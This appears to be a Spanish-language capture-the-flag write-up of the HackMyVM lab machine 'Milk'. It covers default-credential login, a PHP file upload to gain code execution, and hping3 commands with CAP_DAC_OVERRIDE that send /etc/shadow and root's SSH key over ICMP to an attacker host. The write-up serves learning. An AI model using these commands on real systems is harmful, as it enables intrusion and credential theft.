HackMyVM - Milk


Creado
HackMyVM - Milk

Máquina Linux nivel medio. Subida arbitraria de objetos .php yyy archivos que viajan en paquetes ICMP (esto mediante hping3 y la capability CAP_DAC_OVERRIDE).

TL;DR (Spanish writeup)

Creada por: sml.

Descargamos la máquina acá: HackMyVM - Milk.

“Empácame bien lindo el carro, por favor!”

Llegaremos a un concesionario virtual para estrenar carro, nos saltaremos un login administrativo con credenciales por default, ya dentro y con ayuda de internet tendremos un exploit para llevar a cabo una subida arbitraria de archivos, usaremos eso para alojar en el servidor un archivo .php que ejecutará por nosotros código malicioso y nos permitirá obtener una terminal en el sistema como el usuario www-data.

Ya adentro vamos a encontrar la capability CAP_DAC_OVERRIDE asociada al ejecutable hping3 (un ping mamado), esta capability en sí permite leer, modificar y escribir archivos en tooodo el sistema, sin importar permisos. Vamos a jugar con hping3 para mediante paquetes ICMP enviar archivos internos entre víctima y atacante.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

The light soul.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Como es usual en esta plataforma, descargamos la VM, la cargamos en el virtualizador, la iniciamos y ahora viene la parte juguetona, encontrar su IP.

En este caso usaremos la herramienta nmap para ello.

Yo tengo una red NAT configurada para que toda máquina que agregue a esa red tome una IP entre el rango 192.168.100.0/24 (192.168.100.1 - 192.168.100.254), así que hagamos un escaneo sobre ese rango a ver cuál suena llamativa:

nmap -sn 192.168.100.0/24
Parámetro Descripción
-sn Envía trazas ICMP (un ping)

Y obtenemos, el gateway de la red, mi IP y una nueva, así que esa debe ser la de la máquina Milk:

# Gateway
Nmap scan report for 192.168.100.1
Host is up (0.00075s latency).
# La mia
Nmap scan report for 192.168.100.7
Host is up (0.00011s latency).
# Probablemente la de la máquina víctima
Nmap scan report for 192.168.100.27
Host is up (0.00041s latency).

Pues listo, juguemos con nmap y descubramos que puertos (servicios) tiene expuestos, así sabemos si estamos apuntando a donde es:

nmap -p- --open -v 192.168.100.27 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Obtenemos estos servicios expuestos:

Puerto Descripción
22 SSH: Que nos ayuda a generar terminales de forma segura.
80 HTTP: Que sería el servidor web.

+ ~ +(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

 extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 192.168.100.27
    [*] Open ports: 22,80

[*] Ports copied to clipboard

)+ ~ +

Listones, lo siguiente y con ayuda de nmap es ver que versiones de software están siendo ejecutadas y además, pedirle el favor a nmap de que ejecute algunos scripts a ver si detecta algo nuevo para nosotros.

nmap -p 22,80 -sCV 192.168.100.27 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Nos encuentra:

Puerto Servicio Versión
22 SSH OpenSSH 7.9p1 Debian 10+deb10u2
80 HTTP nginx 1.14.2

Pero poco más, exploremos a ver con que nos encontramos.

Enumeración #

Buscando no vemos nada interesante para el puerto 22, caigámosle al servidor web:

reCorriendo en la web 📌

Dándole vueltas a la web, hay varias cosas que nos pueden desconcentrar, pero al final encontramos un login administrativo:

  • http://192.168.100.27/admin/

Explotación #

Empezamos de una :P

Si hacemos una de las más famosas comprobaciones: admin : admin logramos bypassear el login e ingresar al dashboard del sitio:

Algo que noté en los títulos de la web principal y el dashboard es la referencia hacia Car Rental Portal, esto puede ser algo genérico, algo que al creador se le ocurrió o un software legítimo, buscando en internet textualmente car rental portal y mirando las imágenes, vemos que hay algunas con la misma estructura que tenemos en el home, por lo que puede ser un software legítimo.

Si hacemos una búsqueda más “profunda” y directa agregando exploit a la consulta anterior, llegamos aaaa:

Solo que acá tenemos unas variaciones, en este caso el desarrollador y la configuración asignada internamente es distinta a la de los exploits, un ejemplo rápido seria: un script hace una peticion hacia el archivo agregar_carrito.php, pero en nuestra máquina victima no existe ese archivo, pero si uno que se llama agregar_auto.php.

La explotación es muyyyy sencilla, una subida arbitraria de archivos que nos permite ejecutar comando en el sistema, la clásica demoledora: subir un objeto .php juguetón y a mimir 🛌

Seguiríamos estos pasos:

🚩 Creamos objeto .php con el contenido malicioso, por ejemplo para ejecutar la función phpinfo() (que nos muestra un montón de info relacionada con el servicio PHP en el servidor):

echo '<?php phpinfo(); ?>' > a_bailar.php

🚩 Creamos una marca de carro para que el siguiente paso no nos dé problemas:

  • http://192.168.100.27/admin/create-brand.php

🚩 Buscamos el apartado para agregar un carro/auto/coche, llenamos todos los campos necesarios, adjuntamos el .php creado (como imágenes en Upload Images) y guardamos.

En nuestro casó ese recurso está acá:

  • http://192.168.100.27/admin/post-avehical.php

🚩 Después buscamos la ruta donde ha sido subida la imagen, para ello vamos a “Manage Vehicles” y damos clic en el icono de editar:

🚩 Ahí ya tendríamos el preview de las imágenes:

🚩 Damos clic derecho en alguna y seleccionamos “Abrir imagen en una nueva pestaña”, nos encontraremos el objeto PHP yyyyyyyyyyyyyyyyy:

TENEMOSSSSS ejecución del código PHP, y con estooooooo, ya podemos usar funciones de PHP para inyectar comandos en el sistema!

Como práctica les dejo que se armen ustedes mismos la reverse shell y obtengan una terminal en el sistema (:

Si quieren dejar su terminal funcional (tener historico, poder moverse entre comandos, ejecutar CTRL+C sin temor a perderla y darle color) caigan acá: https://lanzt.gitbook.io/cheatsheet-pentest/tty

Ahora a ver que encontramos…

Escalada de privilegios #

Después de dar unas vueltas por el sistema intentando migrarnos a un usuario llamado milk encontramos cositas comprometedoras directamente hacia el usuario root.

Listando las capabilities que existen en el sistema, notamos una distinta a las de siempre, pero antes, explicación rápida:

Tomada de etl.it.uc3m.es

Jmmm, permisos exclusivamente en procesos y no en objetos completos, interesante (: Revisemos que capabilities hay en el sistema:

getcap -r / 2>/dev/null

La de ping la hemos visto varias veces, peeero la de hping3 es nueva y llamativa, hay varias cosas a revisar de esa línea:

🕸️ hping3 se plantea como un upgrade del famoso ping, ya que permite modificar el envió de los paquetes, lo que abre la puerta a un control total de lo que se requiere en la comunicación. Todo esto según redeszone.net.

🔒 “CAP_DAC_OVERRIDE Bypass file read, write, and execute permission checks.” ~ man capabilities.

Uhhhhhhhh, significa que podemos leer, escribir y ejecutar cualquier objeto del sistema saltándonos los permisos que tenga 🤭 Solo queeee, tenemos que hacer eso usando hping3

🔍 Te dejo este recurso donde se explica como se podria escalar privilegios con cada capability.


Espiando archivos del sistema mediante paquetes ICMP 📌

Lo primero que hacemos es ver las opciones propias del binario hping3 a ver cuáles pueden ser interesantes, entre ellas vemos:

www-data@milk:~$ hping3 -h
...
  -E  --file       data from file
...

Un parámetro toma información desde un archivo, pero esto está muy ambiguo, busquemos en internet a ver si hay info más detallada de que hacer con esto.

🔜 “If we want to send a file from a system to another system over the network using ping command through ICMP tunnel.” (so, use hping3). ~ imsurajkr.github.io

En el post nos indican que efectivamente con hping3 podemos enviar archivos mediante paquetes ICMP, para ello tenemos que usar los siguientes parámetros (aunque buscando, hay varias maneras, ahorita les dejo las referencias):

Máquina víctima:

/usr/sbin/hping3 -1 -E /etc/shadow -u -d 1500 192.168.100.7
Parámetro Descripción
-1 Le decimos a hping3 que vamos a enviar paquetes ICMP.
-E Acá le indicamos el archivo del sistema que queremos enviar. (En este caso uno al que solo se tiene acceso con permisos privilegiados: el objeto que contiene las contraseñas de cada usuario del sistema, /etc/shadow).
-u Nos dirá cuando la transferencia haya acabado.
-d Configuramos el tamaño del paquete (del archivo en sí).
IP Le pasamos la dirección IP a la que vamos a enviarle los paquetes (o sea, la máquina atacante).

Peeeero falta algo importante, no?

¿Cómo vamos a recibir esos paquetes en nuestra máquina? Tenemos que ponernos en escucha de paquetes ICMP (como root):

tcpdump -i enp0s3 'icmp and src host 192.168.100.7' -w passwd_victim
Parámetro Descripción
-i Es la interfaz con la que tenemos conexión hacia la máquina víctima (ejecuta ip a o ifconfig si no te la sabes).
icmp … Le decimos que vamos a escuchar todos los paquetes ICMP que lleguen a X dirección, en este caso la de atacante (la nuestra).
-w Guardamos los paquetes en un archivo.

Y el post nos indica: “When its done you will see the EOF reached in the sender system.” Cuando veamos ese mensaje, ya se habrá completado la transferencia y podemos ejecutar CTRL+C.

Pues ya estamos:

  1. Levantamos el listener mediante tcpdump.
  2. Ejecutamos hping3, esperamos el mensaje de EOF y finalmenteeeeeeeee:

Efectivamente, nos indica que recibimos 4 paquetes y estarían ya en el objeto passwd, pues si lo abrimos (está en formato bytes, no ASCII, así que usamos strings en lugar de cat) vemooooos:

EPAAAALEEEEEE! Pos sí, tenemos la facultad de explorar objetos con permisos administrativooooos!

Ya que tenemos el objeto shadow pensaríamos en intentar romper el hash del usuario root, pero en esta ocasión no fue posible, ha de tener una contraseña fuerte o que no esté en todos los diccionarios públicos.

¿Cómo más se te ocurre lograr una terminal como root?

¡Exacto! Podemos buscar su llave privada SSH, recordemos que esta nos sirve como una contraseña (además, muchas configuraciones en entornos reales se manejan así, no con contraseñas, sino con llaves).

Así que pa lante, la ruta por default donde se encontraría para X usuario sería: /home/usuario/.ssh/id_rsa, solo que como el $HOME de root es /root, la ruta de su llave sería:

/root/.ssh/id_rsa

Levantamos el listener, ejecutamos el hping3 con el nuevo archivo (y al ser un poco más grande vamos a tener que jugar con el parámetro -d) yyyyyy:

ESOOO! Existe la llave privada, pero debemos darle unos retoques, ya que unos caracteres están generando basura y una línea se partió debido a eso.

Simplemente, tomamos el output de -----BEGIN OPENSSH PRIVATE KEY----- a -----END OPENSSH PRIVATE KEY-----, lo guardamos en un archivo, le borramos la línea de basura y subimos la línea separada para que quede igual a las demás, finalmente guardamos, le damos permisos para que solo el propietario tenga acceso a ese objeto (chmod 700 ARCHIVO) y ejecutamos SSH como root:

Tamos dentrooooooooooooooooooooo! Veamos las flags…

Fino, hemos terminado.

Una máquina con una escalada que me encantó, probablemente ese privilegio no se asigne nunca en entornos reales, pero el que puedas mover archivos mediante hping3 me parece bien chévere, brutal, brutal.

Nos leeremos pronto, gracias por leer, a seguir dándole y A seguir ROMPIENDO de TODOOOOOOOOOOOOOOOOOO!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus